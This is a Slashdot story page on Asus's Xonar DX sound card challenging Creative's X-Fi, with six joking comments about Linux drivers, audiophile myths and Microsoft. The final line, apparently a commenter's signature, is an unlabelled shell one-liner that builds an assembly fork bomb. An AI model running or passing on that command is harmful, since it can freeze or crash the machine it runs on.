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$90 Asus Sound Card Whips Creative's Best

Posted by kdawson on from the listen-up dept.

EconolineCrush writes "Sound card giant Creative caught plenty of flak for its recent driver debacle, and has long been criticized for bullying competitors and stifling innovation. But few have been willing to compete with Creative head-on, allowing the company to milk its X-Fi audio processor for more than two and a half years. Now the SoundBlaster has a new challenger in the form of Asus' $90 Xonar DX, which delivers much better sound quality than the X-Fi, PCI Express connectivity, and support for real-time Dolby Digital Live encoding. The Xonar can even emulate the latest EAX positional audio effects, providing the most complete competition to the X-Fi available on the market."

6 of 387 comments (clear)

  1. Re:That'll teach Creative to be stingy about drive by Anonymous Coward · · Score: 5, Funny

    Am I paranoid to think that these hardware companies who are stingy with their drivers are mostly on Microsoft's tit Yes, esp. considering Microsoft has no tits and if it did, they'd be nasty man-boob type tits that nobody wants to see or even acknowledge their existence.
  2. Does it work with Linux? by Godji · · Score: 4, Funny

    Please don't mod me funny, I'm asking quite seriously. If it runs with open source drivers, does 7.1 and has hardware mixing so that I don't have to bother with dmix, I'm buying it tomorrow morning.

    1. Re:Does it work with Linux? by Godji · · Score: 5, Funny

      Come on people, this is not funny :)

      Somebody mod me down NOW!!!

  3. Re:tell the difference? by turing_m · · Score: 4, Funny

    Don't forget the $480 wooden knobs, for that rich, warm sound.

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    If I have seen further it is by stealing the Intellectual Property of giants.
  4. Re:Dead Issue by Boogaroo · · Score: 4, Funny

    Lemme guess, you can hear the difference in the sound when using the gold plated optical fiber cables.

  5. Re:Sound Cards by Hal_Porter · · Score: 4, Funny

    At University I had a friend who was an audiophile. One day he came in looking very pissed off. I asked him why and he ranted that one of his female flatmates female friends had told him he was "the sort of man who stops having sex so he could turn over the record".

    All those complex arguments I tried to use to convince him he was wrong and that music really does sound better on a decent quality CD player than a vastly more expensive record player were so utterly outmatched by those few words.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;